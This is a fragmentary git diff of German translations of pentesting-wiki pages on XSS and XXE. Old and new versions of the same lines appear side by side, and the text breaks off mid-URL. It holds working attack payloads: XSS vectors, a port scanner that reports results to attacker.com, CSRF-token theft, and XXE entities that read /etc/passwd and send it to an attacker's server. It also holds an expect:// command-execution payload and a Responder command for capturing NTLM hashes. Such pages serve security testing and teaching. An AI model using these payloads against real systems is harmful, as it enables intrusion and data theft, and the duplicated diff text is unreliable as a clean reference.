Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
@ -361,7 +361,7 @@ Beachten Sie, dass es **nicht funktioniert**, wenn Sie **beide** `URLencode + HT
**Verwendung von Hex- und Oktal-Kodierung mit `javascript:`**
Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags auszuführen, um JS auszuführen**:
Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags zur Ausführung von JS** zu deklarieren:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -422,7 +422,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können den **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
Von [**hier**](https://portswigger.net/research/xss-in-hidden-input-fields): Sie können eine **XSS-Nutzlast in einem versteckten Attribut ausführen**, vorausgesetzt, Sie können das **Opfer** dazu **überreden**, die **Tastenkombination** zu drücken. Unter Firefox Windows/Linux ist die Tastenkombination **ALT+SHIFT+X** und unter OS X ist es **CTRL+ALT+X**. Sie können eine andere Tastenkombination angeben, indem Sie eine andere Taste im Attribut für den Zugriffsschlüssel verwenden. Hier ist der Vektor:
```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -468,15 +468,15 @@ Dieser Trick wurde von [https://medium.com/@skavans\_/improving-the-impact-of-a-
## Injektion in JavaScript-Code
In diesem Fall wird dein **Input** **innerhalb des JS-Codes** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
In diesen Fällen wird dein **Input** **im JS-Code** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
### Escaping des \<script>-Tags
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag escapen:
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag **escapen**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass **die HTML-Analyse zuerst vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen, einschließlich Skriptblöcken, umfasst. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nicht einmal geschlossen haben**. Dies liegt daran, dass **die HTML-Analyse zuerst vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen, einschließlich Skriptblöcken, umfasst. Die Analyse von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, erfolgt erst danach.
### Innerhalb des JS-Codes
@ -736,16 +736,16 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
````
## **DOM-Schwachstellen**
## **DOM-Sicherheitsanfälligkeiten**
Es gibt **JS-Code**, der **unsichere Daten, die von einem Angreifer kontrolliert werden**, wie `location.href`, verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
**Aufgrund der Erweiterung der Erklärung von** [**DOM-Schwachstellen wurde es auf diese Seite verschoben**](dom-xss.md)**:**
**Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
Dort finden Sie eine detaillierte **Erklärung, was DOM-Schwachstellen sind, wie sie provoziert werden und wie man sie ausnutzt**.\
Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzt**.\
Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist.
### Selbst-XSS aufrüsten
@ -762,11 +762,11 @@ Sie finden einen großartigen Missbrauch dieser Technik in [**diesem Blogbeitrag
### Ihre Sitzung an den Administrator senden
Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn das Selbst-XSS im Profil des Benutzers ist und der Administrator darauf zugreift, wird er die Schwachstelle auslösen.
Vielleicht kann ein Benutzer sein Profil mit dem Administrator teilen, und wenn das Selbst-XSS im Profil des Benutzers ist und der Administrator darauf zugreift, wird er die Sicherheitsanfälligkeit auslösen.
### Sitzungs-Spiegelung
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber aus seiner Sitzung heraus.
Wenn Sie ein Selbst-XSS finden und die Webseite eine **Sitzungs-Spiegelung für Administratoren** hat, die es beispielsweise den Kunden ermöglicht, um Hilfe zu bitten, wird der Administrator sehen, was Sie in Ihrer Sitzung sehen, aber aus seiner Sitzung heraus.
Sie könnten den **Administrator dazu bringen, Ihr Selbst-XSS auszulösen** und seine Cookies/Sitzung stehlen.
@ -838,9 +838,9 @@ Wenn Sie in der Lage sind, den **Callback** anzugeben, den JavaScript ausführen
(Von [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Wenn Sie versuchen, ein Skript mit einem **Content-Type** wie `application/octet-stream` zu laden, wird Chrome den folgenden Fehler ausgeben:
> Weigerte sich, das Skript von ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') auszuführen, da sein MIME-Typ (‘application/octet-stream’) nicht ausführbar ist und die strenge MIME-Typ-Prüfung aktiviert ist.
> Script von ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') konnte nicht ausgeführt werden, da sein MIME-Typ (‘application/octet-stream’) nicht ausführbar ist und die strenge MIME-Typ-Prüfung aktiviert ist.
Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die im const **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc)
Die einzigen **Content-Types**, die Chrome unterstützen, um ein **geladenes Skript** auszuführen, sind die, die in der Konstante **`kSupportedJavascriptTypes`** von [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc) enthalten sind.
```c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
@ -868,10 +868,8 @@ const char* const kSupportedJavascriptTypes[] = {
```html
<script type="???"></script>
```
Die Antwort ist:
- **Modul** (Standard, nichts zu erklären)
- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in eine **`.wbn`**-Datei verpacken können.
- [**Webbundle**](https://web.dev/web-bundles/): Web Bundles ist eine Funktion, mit der Sie eine Menge Daten (HTML, CSS, JS…) in einer **`.wbn`**-Datei bündeln können.
```html
<script type="webbundle">
{
@ -943,9 +941,9 @@ Wenn die Seite einen text/xml Inhaltstyp zurückgibt, ist es möglich, einen Nam
```
### Besondere Ersetzungsmuster
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**besondere Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Wenn etwas wie **`"some {{template}} data".replace("{{template}}", <user_input>)`** verwendet wird. Der Angreifer könnte [**spezielle Zeichenersetzungen**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) verwenden, um zu versuchen, einige Schutzmaßnahmen zu umgehen: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Zum Beispiel wurde in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA) dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
Zum Beispiel in [**diesem Bericht**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), wurde dies verwendet, um **einen JSON-String** innerhalb eines Skripts zu escapen und beliebigen Code auszuführen.
### Chrome-Cache zu XSS
@ -986,16 +984,16 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdigen Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen:
Wenn **alles undefiniert ist**, bevor nicht vertrauenswürdiger Code ausgeführt wird (wie in [**diesem Bericht**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), ist es möglich, nützliche Objekte "aus dem Nichts" zu generieren, um die Ausführung beliebigen nicht vertrauenswürdigen Codes auszunutzen:
- Verwendung von import()
```javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
```
- Indirektes Zugreifen auf `require`
- Indirekter Zugriff auf `require`
[Nach diesem](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingekapselt, so wie dies:
[Nach diesem](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) werden Module von Node.js innerhalb einer Funktion eingekapselt, wie folgt:
```javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
@ -1240,7 +1238,7 @@ steal-info-js.md
### Iframe Falle
Lassen Sie den Benutzer auf der Seite navigieren, ohne ein Iframe zu verlassen, und stehlen Sie seine Aktionen (einschließlich Informationen, die in Formularen gesendet werden):
Lassen Sie den Benutzer auf der Seite navigieren, ohne ein iframe zu verlassen, und stehlen Sie seine Aktionen (einschließlich Informationen, die in Formularen gesendet werden):
{{#ref}}
../iframe-traps.md
@ -1345,7 +1343,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Port Scanner (Websockets)
### Port Scanner (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1388,7 +1386,7 @@ Nur durch eine Suche auf GitHub habe ich einige verschiedene gefunden:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Sie können auch Metasploit `http_javascript_keylogger` verwenden
- Sie können auch metasploit `http_javascript_keylogger` verwenden
### Stehlen von CSRF-Token
```javascript
@ -1427,7 +1425,9 @@ shadow-dom.md
### Polyglots
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
{{#endref}}
### Blinde XSS-Payloads
@ -1492,9 +1492,11 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
```
### Brute-Force Liste
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
{{#endref}}
## XSS andere Schwachstellen ausnutzen
## XSS Ausnutzung anderer Schwachstellen
### XSS in Markdown
@ -1516,7 +1518,7 @@ Weitere Informationen zu dieser Technik finden Sie hier: [**XSLT**](../xslt-serv
### XSS in dynamisch erstellten PDFs
Wenn eine Webseite ein PDF mit benutzergesteuerten Eingaben erstellt, können Sie versuchen, den **Bot zu täuschen**, der das PDF erstellt, um **willkürlichen JS-Code auszuführen**.\
Wenn der **PDF-Ersteller-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server-XSS** zu verursachen.
Wenn der **PDF-Erstellungs-Bot** eine Art von **HTML** **Tags** findet, wird er sie **interpretieren**, und Sie können dieses Verhalten **ausnutzen**, um ein **Server XSS** zu verursachen.
{{#ref}}
server-side-xss-dynamic-pdf.md

39
src/pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -83,7 +83,7 @@ Ein XXE könnte verwendet werden, um eine SSRF in einer Cloud auszunutzen.
```
### Blind SSRF
Mit der **vorher kommentierten Technik** kannst du den Server dazu bringen, auf einen Server zuzugreifen, den du kontrollierst, um zu zeigen, dass er anfällig ist. Wenn das jedoch nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könntest du versuchen, **XML-Parameterentitäten** zu verwenden:
Mit der **zuvor kommentierten Technik** können Sie den Server dazu bringen, auf einen von Ihnen kontrollierten Server zuzugreifen, um zu zeigen, dass er anfällig ist. Wenn das jedoch nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könnten Sie versuchen, **XML-Parameterentitäten** zu verwenden:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -110,7 +110,7 @@ Die von diesem DTD ausgeführten Schritte umfassen:
- Eine XML-Parameterentität, `%file`, wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
- Eine weitere XML-Parameterentität, `%eval`, wird definiert. Sie erklärt dynamisch eine neue XML-Parameterentität, `%exfiltrate`. Die `%exfiltrate`-Entität ist so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität innerhalb der Abfragezeichenfolge der URL übergibt.
2. **Ausführung von Entitäten:**
- Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt.
- Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Erklärung der `%exfiltrate`-Entität führt.
- Die `%exfiltrate`-Entität wird dann verwendet, was eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auslöst.
Der Angreifer hostet dieses bösartige DTD auf einem Server unter seiner Kontrolle, typischerweise unter einer URL wie `http://web-attacker.com/malicious.dtd`.
@ -130,7 +130,7 @@ Dieses Payload definiert eine XML-Parameterentität `%xxe` und integriert sie in
Eine XML-Parsing-Fehlermeldung, die den Inhalt der Datei `/etc/passwd` offenbart, kann durch eine bösartige externe Document Type Definition (DTD) ausgelöst werden. Dies wird durch die folgenden Schritte erreicht:
1. Eine XML-Parameterentität namens `file` wird definiert, die den Inhalt der Datei `/etc/passwd` enthält.
2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameterentität namens `error` integriert. Diese `error`-Entität versucht, beim Auswerten eine nicht vorhandene Datei zu laden, wobei der Inhalt der `file`-Entität als Name verwendet wird.
2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameterentität namens `error` integriert. Diese `error`-Entität versucht, beim Auswerten eine nicht vorhandene Datei zu laden, wobei die Inhalte der `file`-Entität als Name verwendet werden.
3. Die `eval`-Entität wird aufgerufen, was zur dynamischen Deklaration der `error`-Entität führt.
4. Der Aufruf der `error`-Entität führt zu dem Versuch, eine nicht vorhandene Datei zu laden, was eine Fehlermeldung erzeugt, die den Inhalt der Datei `/etc/passwd` als Teil des Dateinamens enthält.
@ -148,9 +148,9 @@ _**Bitte beachten Sie, dass externe DTD es uns ermöglicht, eine Entität innerh
### **Fehlerbasiert (System DTD)**
Was ist also mit blinden XXE-Schwachstellen, wenn **Out-of-Band-Interaktionen blockiert sind** (externe Verbindungen nicht verfügbar sind)?
Was ist also mit blinden XXE-Schwachstellen, wenn **out-of-band Interaktionen blockiert sind** (externe Verbindungen nicht verfügbar sind)?
Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn Out-of-Band-Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu induzieren, um sensible Informationen offenzulegen.
Ein Schlupfloch in der XML-Spezifikation kann **sensible Daten durch Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen mischt**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten, was die Durchführung von fehlerbasierten XXE-Angriffen erleichtert. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität aus, die ursprünglich in einer externen DTD deklariert wurde, aus einer internen DTD heraus. Wenn out-of-band Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen, mit dem Ziel, einen Parsing-Fehler zu induzieren, um sensible Informationen offenzulegen.
Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei unter `/usr/local/app/schema.dtd` enthält, die eine Entität namens `custom_entity` definiert. Ein Angreifer kann einen XML-Parsing-Fehler induzieren, der den Inhalt der Datei `/etc/passwd` offenlegt, indem er eine hybride DTD wie folgt einreicht:
```xml
@ -165,10 +165,10 @@ Betrachten Sie ein Szenario, in dem das Dateisystem des Servers eine DTD-Datei u
%local_dtd;
]>
```
Die skizzierten Schritte werden durch dieses DTD ausgeführt:
Die skizzierten Schritte werden durch diese DTD ausgeführt:
- Die Definition einer XML-Parameterentität namens `local_dtd` umfasst die externe DTD-Datei, die sich im Dateisystem des Servers befindet.
- Eine Neudefinition erfolgt für die XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu kapseln. Diese Neudefinition ist darauf ausgelegt, einen Parsing-Fehler auszulösen, der den Inhalt der Datei `/etc/passwd` offenlegt.
- Eine Neudefinition erfolgt für die XML-Parameterentität `custom_entity`, die ursprünglich in der externen DTD definiert wurde, um einen [fehlerbasierten XXE-Exploit](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) zu kapseln. Diese Neudefinition ist darauf ausgelegt, einen Parsing-Fehler auszulösen, der den Inhalt der Datei `/etc/passwd` offenbart.
- Durch die Verwendung der `local_dtd`-Entität wird die externe DTD aktiviert, die die neu definierte `custom_entity` umfasst. Diese Abfolge von Aktionen führt zur Ausgabe der angestrebten Fehlermeldung des Exploits.
**Echtweltbeispiel:** Systeme, die die GNOME-Desktopumgebung verwenden, haben oft eine DTD unter `/usr/share/yelp/dtd/docbookx.dtd`, die eine Entität namens `ISOamso` enthält.
@ -201,7 +201,9 @@ Für weitere Informationen siehe [https://portswigger.net/web-security/xxe/blind
In dem folgenden großartigen GitHub-Repo kannst du **Pfade von DTDs finden, die im System vorhanden sein können**:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
{{#ref}}
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
Darüber hinaus, wenn du das **Docker-Image des Opfersystems** hast, kannst du das Tool aus demselben Repo verwenden, um das **Image** zu **scannen** und den Pfad der **im System vorhandenen DTDs** zu **finden**. Lies das [Readme des GitHub](https://github.com/GoSecure/dtd-finder), um zu erfahren, wie.
```bash
@ -219,7 +221,7 @@ Testing 0 entities : []
Für eine detailliertere Erklärung dieses Angriffs, **sehen Sie sich den zweiten Abschnitt von** [**diesem erstaunlichen Beitrag**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **von Detectify an**.
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Eine Webanwendung kann beispielsweise Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
Die Möglichkeit, **Microsoft Office-Dokumente hochzuladen, wird von vielen Webanwendungen angeboten**, die dann bestimmte Details aus diesen Dokumenten extrahieren. Beispielsweise kann eine Webanwendung Benutzern erlauben, Daten durch das Hochladen einer XLSX-Format-Tabelle zu importieren. Damit der Parser die Daten aus der Tabelle extrahieren kann, muss er zwangsläufig mindestens eine XML-Datei parsen.
Um diese Schwachstelle zu testen, ist es notwendig, eine **Microsoft Office-Datei mit einem XXE-Payload zu erstellen**. Der erste Schritt besteht darin, ein leeres Verzeichnis zu erstellen, in das das Dokument entpackt werden kann.
@ -249,7 +251,7 @@ Der Prozess, um auf eine Datei innerhalb eines PKZIP-Archivs über das jar-Proto
4. Die spezifische Datei im Archiv, `file.zip`, wird gelesen.
5. Nach dem Vorgang werden alle temporären Dateien, die während dieses Prozesses erstellt wurden, gelöscht.
Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung beim Bereitstellen der Archivdatei unbegrenzt offen zu halten. Tools, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können hierfür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
Eine interessante Technik, um diesen Prozess im zweiten Schritt zu unterbrechen, besteht darin, die Serververbindung beim Bereitstellen der Archivdatei unbegrenzt offen zu halten. Werkzeuge, die in [diesem Repository](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) verfügbar sind, können dafür verwendet werden, einschließlich eines Python-Servers (`slow_http_server.py`) und eines Java-Servers (`slowserver.jar`).
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -292,7 +294,7 @@ i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
#### NTML erhalten
Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem man einen responder.py-Handler einrichtet:
Auf Windows-Hosts ist es möglich, den NTML-Hash des Webserver-Benutzers zu erhalten, indem man einen Responder.py-Handler einrichtet:
```bash
Responder.py -I eth0 -v
```
@ -308,7 +310,7 @@ Dann können Sie versuchen, den Hash mit hashcat zu knacken.
### XInclude
Bei der Integration von Clientdaten in serverseitige XML-Dokumente, wie sie in Backend-SOAP-Anfragen vorkommen, ist die direkte Kontrolle über die XML-Struktur oft eingeschränkt, was traditionelle XXE-Angriffe aufgrund von Einschränkungen bei der Modifizierung des `DOCTYPE`-Elements erschwert. Ein `XInclude`-Angriff bietet jedoch eine Lösung, indem er die Einfügung externer Entitäten innerhalb eines beliebigen Datenelements des XML-Dokuments ermöglicht. Diese Methode ist effektiv, selbst wenn nur ein Teil der Daten innerhalb eines servergenerierten XML-Dokuments kontrolliert werden kann.
Bei der Integration von Kundendaten in serverseitige XML-Dokumente, wie sie in Backend-SOAP-Anfragen vorkommen, ist die direkte Kontrolle über die XML-Struktur oft eingeschränkt, was traditionelle XXE-Angriffe aufgrund von Einschränkungen bei der Modifizierung des `DOCTYPE`-Elements erschwert. Ein `XInclude`-Angriff bietet jedoch eine Lösung, indem er die Einfügung externer Entitäten innerhalb eines beliebigen Datenelements des XML-Dokuments ermöglicht. Diese Methode ist effektiv, selbst wenn nur ein Teil der Daten innerhalb eines servergenerierten XML-Dokuments kontrolliert werden kann.
Um einen `XInclude`-Angriff auszuführen, muss der `XInclude`-Namensraum deklariert und der Dateipfad für die beabsichtigte externe Entität angegeben werden. Unten ist ein prägnantes Beispiel, wie ein solcher Angriff formuliert werden kann:
```xml
@ -326,7 +328,7 @@ Ein Beispiel für einen solchen Exploit ist unten dargestellt, wo ein bösartige
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
```
Eine andere Methode besteht darin, zu versuchen, **Befehle auszuführen** über den PHP "expect" Wrapper:
Eine weitere Methode besteht darin, zu versuchen, **Befehle auszuführen** über den PHP "expect" Wrapper:
```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
@ -406,7 +408,7 @@ Das funktioniert nur, wenn der XML-Server das `data://`-Protokoll akzeptiert.
### UTF-7
Sie können das \[**"Encode Recipe**" von cyberchef hier ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode_text%28%27UTF-7%20%2865000%29%27%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) in UTF-7 umwandeln.
Sie können das \[**"Encode Recipe**" von cyberchef hier ]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq
```xml
<!xml version="1.0" encoding="UTF-7"?-->
